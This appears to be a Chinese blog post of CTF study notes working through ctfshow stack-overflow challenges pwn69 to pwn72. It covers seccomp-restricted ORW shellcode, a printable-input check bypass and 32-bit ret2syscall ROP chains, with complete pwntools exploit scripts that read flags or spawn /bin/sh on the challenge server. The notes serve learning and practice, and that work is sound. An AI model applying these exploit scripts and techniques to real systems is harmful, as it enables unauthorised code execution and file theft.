当前位置: 首页 > news >正文

ctfshow做题笔记—栈溢出—pwn69~pwn72

目录

前言

一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)

二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)

三、pwn71(32位的ret2syscall)

四、pwn72

前言

学了一些新的东西,pwn69的文档忘保存了(悲),现写一个,记录一下。


一、pwn69(可以尝试用ORW读flag flag文件位置为/ctfshow_flag)

先看看ORW是什么:
ORW指的是Open-Read-Write技术,是一种利用系统调用读取文件内容(如flag文件)的攻击方法。

ORW通过以下三个系统调用实现:

open:打开目标文件,获取文件描述符。

read:通过文件描述符读取文件内容到缓冲区。

write:将缓冲区的内容写入标准输出。

当攻击者通过漏洞控制程序执行流程后,可以注入或执行类似ORW的代码来读取敏感文件。例如,攻击者可以通过ROP(Return-Oriented Programming)或直接注入汇编代码来实现ORW。

Seccomp(Secure Computing Mode)是 Linux 内核中的一种安全机制,用于限制进程可以调用的系统调用(Syscalls),从而减少潜在的攻击面。

沙盒环境:Seccomp 常用于沙盒环境中,限制程序的权限,防止恶意程序通过高风险系统调用攻击系统。

需要用到一个工具:

seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集,它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump ./pwn,你可以查看目标程序 ./pwn 的 Seccomp 策略。击系统。

在kali中比较好安装:

sudo gem install seccomp-tools

验证:

seccomp-tools --version

shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

ROPgadget可以看到程序中存在一条“jmp rsp”的gadget

rsp是栈顶指针寄存器,可以通过这条指令跳转到当前栈顶处然后执行布置在栈上的shellcode实现ORW

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28296)
mmap_ar=0x123000
jmp_rsp=0x400a01
p.recvuntil("to do\n")

shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

payload = flat([(asm(shellcraft.read(0,mmap_ar,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])

p.sendline(payload)
p.sendline(shellcode)
p.interactive()

第一部分:

asm(shellcraft.read(0, mmap_ar, 0x100)):

从标准输入(文件描述符 0)读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。

asm("mov rax,0x123000; jmp rax"):

将 rax 寄存器设置为 0x123000,然后跳转到该地址。

这里的 0x123000 是 mmap_ar 的地址,用于跳转到攻击者控制的内存区域。

.ljust(0x28, b'a'):

将上述代码填充到 0x28 字节,确保覆盖目标程序的栈空间。

第二部分:

jmp_rsp:

跳转到目标程序中的 jmp rsp 指令,控制程序执行流跳转到 rsp 指向的地址。

第三部分:

asm("sub rsp,0x30; jmp rsp"):

调整 rsp 寄存器的值,使其指向攻击者控制的内存区域,然后跳转到该地址。


二、pwn70(可以开始你的个人秀了 flag文件位置为/flag)

checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn70       
[*] '/home/kali/桌面/ctfshoww/pwn70'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

哎呀,开了金丝雀。又看不了c语言代码,毁了

puts("    * Hint  : Try use 'ORW' to get flag !                             ");

看来又可以熟悉这个知识了。

首先是看看沙箱的情况:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ seccomp-tools dump ./pwn70
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

和上一道题有些不一样啊。

1.程序只允许在 x86_64 架构下运行。

2.系统调用必须小于 0x40000000,否则拒绝执行。

3.特别地,如果系统调用是 execve(编号为 0x3b),则直接拒绝(KILL

)。

需要注入shellcode来做,虽然有canary但是NX没开,栈还是能执行的。

现在还有一个校验的问题:

signed __int64 __fastcall is_printable(const char *a1)
{
  int i; // [sp+1Ch] [bp-14h]@1

  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( a1[i] <= 31 || a1[i] == 127 )
      return 0LL;
  }
  return 1LL;
}

条件是 a1[i] <= 31 || a1[i] == 127。这意味着:

如果字符的 ASCII 值小于等于 31,或者等于 127,则认为该字符不可打印。

做过pwn66, strlen 的话可以找\x00开头的shellcode。

可以在开头加上\x00 \xc0

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28134)
shellcode=b'\x00\xc0'
shellcode+=asm(shellcraft.cat('flag'))//生成读取flag文件的shellcode
p.recvuntil("Welcome,tell me your name:\n")
p.sendline(shellcode)
p.interactive()


三、pwn71(32位的ret2syscall)

看来又要学习新知识了。

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn71       
[*] '/home/kali/桌面/ctfshoww/pwn71'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Debuginfo:  Yes

开了NX.

本地执行一次:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ ./pwn71
===============CTFshow--PWN===============
Try to use ret2syscall

先分析一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout[0], 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("===============CTFshow--PWN===============");
  puts("Try to use ret2syscall!");
  gets(&v4);
  return 0;
}

最后使用 gets 函数从标准输入读取用户输入,并存储到变量 v4 的地址中。

使用了gets可能会栈溢出。int v4; // [sp+1Ch] [bp-64h]@1

想了一个简单的思路:利用栈溢出漏洞,通过覆盖返回地址,使程序执行系统调用(syscall)。

先来了解一下ret2syscall:

原来ret2syscall(Return to System Call)是一种利用栈溢出漏洞的攻击技术,主要用于绕过某些安全机制(如NX保护)并执行系统调用。

问了问人机(写得挺详细记录一下,免得忘了):

ret2syscall的核心思想是通过控制程序的执行流程,使程序执行系统调用(syscall)指令来获取系统资源或执行特定操作。系统调用是操作系统提供给用户程序的接口,用于请求内核服务。例如,在Linux系统中,execve系统调用可以用来启动一个新的程序(如/bin/sh),从而获取shell。

1.在32位Linux系统中,系统调用通过int 0x80指令触发,需要设置以下寄存器:

  eax:系统调用号(例如,execve的调用号为0xb)

  ebx:第一个参数(例如,/bin/sh的地址)

  ecx:第二个参数(通常为0)

  edx:第三个参数(通常为0)

2.在64位系统中,系统调用通过syscall指令触发,寄存器分配有所不同:

rax:系统调用号(例如,execve的调用号为0x3b)

  rdi:第一个参数

  rsi:第二个参数

  rdx:第三个参数

3. 利用Gadgets控制寄存器

为了设置上述寄存器的值,攻击者需要利用程序中的gadgets(以ret指令结尾的指令序列)。例如:

pop eax ; ret:将栈顶值弹入eax寄存器

pop ebx ; ret:将栈顶值弹入ebx寄存器

攻击者通过构造ROP链(Return-Oriented Programming链),将这些gadgets组合起来,依次设置寄存器的值。

4. 触发系统调用

最后,攻击者将返回地址覆盖为int 0x80(32位)或syscall(64位)的地址,从而触发系统调用。

示例

假设目标程序是一个32位程序,开启了NX保护,但存在栈溢出漏洞。攻击者可以:

找到pop eax ; ret、pop ebx ; ret等gadgets的地址。

在栈中构造如下ROP链:

覆盖返回地址为pop eax ; ret的地址

在栈上放置0xb(execve的调用号)

覆盖返回地址为pop ebx ; ret的地址

在栈上放置/bin/sh字符串的地址

覆盖返回地址为pop ecx ; ret的地址

在栈上放置0

覆盖返回地址为pop edx ; ret的地址

在栈上放置0

覆盖返回地址为int 0x80的地址

接着做题,ctrl+F2找到了/bin/sh:

.rodata:080BE408 00000008 C /bin/sh

那就使用ROPgadget:

 ROPgadget --binary ./pwn71 --only "pop|ret"|grep eax

0x080bb196 : pop eax ; ret

ROPgadget --binary ./pwn71 --only "pop|ret"|grep ebx

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

ROPgadget --binary ./pwn71 --only "int"      

0x08049421 : int 0x80

现在就可以构造ROP链了:

Pad=112*b’a’

eax=0x080bb196

edx_ecx_edx =0x0806eb90

intx80=0x08049421

binsh=0x80BE408

最后是偏移量的问题,用pwndbg调式:

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28185)
pad=(0x70)*b'a'
eax=0x080bb196
edx_ecx_edx =0x0806eb90
intx80=0x08049421
binsh=0x80BE408
payload=flat([pad,edx_ecx_edx,0,0,binsh,eax,0xb,intx80])#0,0,binsh是三个参数
p.sendline(payload)
p.interactive()


四、pwn72

继续练习ret2syscall。

还是开了NX保护。

根据上一道题学到的知识,需要找一些东西:

偏移量,直接用pwndbug调试:

offset = 44

然后:

int0x80 = 0x0806F350

ROPgadget --binary ./pwn72 --only "pop|ret"|grep eax

0x080bb2c6 : pop eax ; ret

ROPgadget --binary ./pwn72 --only "pop|ret"|grep ebx

0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

遇到的问题是这道题找不到/bin/sh所以我们可以利用bass段调用read写入。

找bass的地址:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ readelf -S ./pwn72 | grep .bss
  [17] .tbss             NOBITS          080e9f68 0a0f68 000018 00 WAT  0   0  4
  [25] .bss              NOBITS          080eaf80 0a1f80 00136c 00  WA  0   0 32

就用

bass=0x80eaf80

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28281)
pad=b'a'*44
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
int0x80 = 0x0806F350
bass=0x80eaf80
binsh=b'/bin/sh\x00'
payload=flat([pad,eax,0x3,edx_ecx_ebx,0x10,bass,0,int0x80,eax,0xb,edx_ecx_ebx,0,0,bass,int0x80])
p.sendline(payload)
p.sendline(binsh)
p.interactive()

解释一下:

1.设置寄存器并调用 sys_read:

eax:地址 0x080bb2c6,用于将 0x3 放入 eax 寄存器(sys_read 的系统调用号)。

edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。

0x10:读取的字节数(16 字节)。

bass:读取的目标地址(BSS 段地址)。

0:文件描述符(标准输入)。

int0x80:调用 int 0x80,执行 sys_read 系统调用。

2.设置寄存器并调用 sys_execve:

eax:地址 0x080bb2c6,用于将 0xb 放入 eax 寄存器(sys_execve 的系统调用号)。

edx_ecx_ebx:地址 0x0806ecb0,用于设置 edx、ecx 和 ebx 寄存器。

0:argv 和 envp 参数(均为 NULL)。

bass:execve 的第一个参数,指向 /bin/sh 的地址。

int0x80:调用 int 0x80,执行 sys_execve 系统调用。

多次的系统调用。


继续学习中......

相关文章:

  • HybridCLR Generate All 报错UnityLinker.exe
  • Ubuntu-配置apt国内源
  • SpringBoot 实现接口数据脱敏
  • 【自学笔记】MoonBit语言基础知识点总览-持续更新
  • GOF设计模式在 Spring 框架中的核心应用分析
  • golang算法快慢指针
  • 19个判定学术写作内容有AI生成痕迹的例子
  • (Lauterbach调试器学习笔记)一、首次连接TriCore开发板调试
  • AutoGen学习笔记系列(十三)Advanced - Logging
  • 第75期 Doxygen是干嘛的,Windows版本,如何安装,学习
  • 函数题 01-复杂度3 二分查找【PAT】
  • 市盈率研究
  • Spring Boot集成EasyExcel
  • Python使用入门(二)
  • 侯捷 C++ 课程学习笔记:C++ 新标准11/14
  • 力扣练习之确定两个字符串是否接近
  • 【net2】mii,mdio,ncsi,bond,vlan,dns,ipv6
  • FPGA学习(三)——LED流水灯
  • 【redis】hash基本命令和内部编码
  • 串口全解析
  • 政企共同发力:多地密集部署外贸企业抢抓90天政策窗口期
  • 特朗普再提“接管”加沙,要将其变为“自由区”
  • 南京江宁区市监局通报:盒马一批次猕猴桃检出膨大剂超标
  • 马上评|“衣服越来越难买”,对市场是一个提醒
  • 山东:小伙为救同学耽误考试属实,启用副题安排考试
  • 地下5300米开辟“人造气路”,我国页岩气井垂深纪录再刷新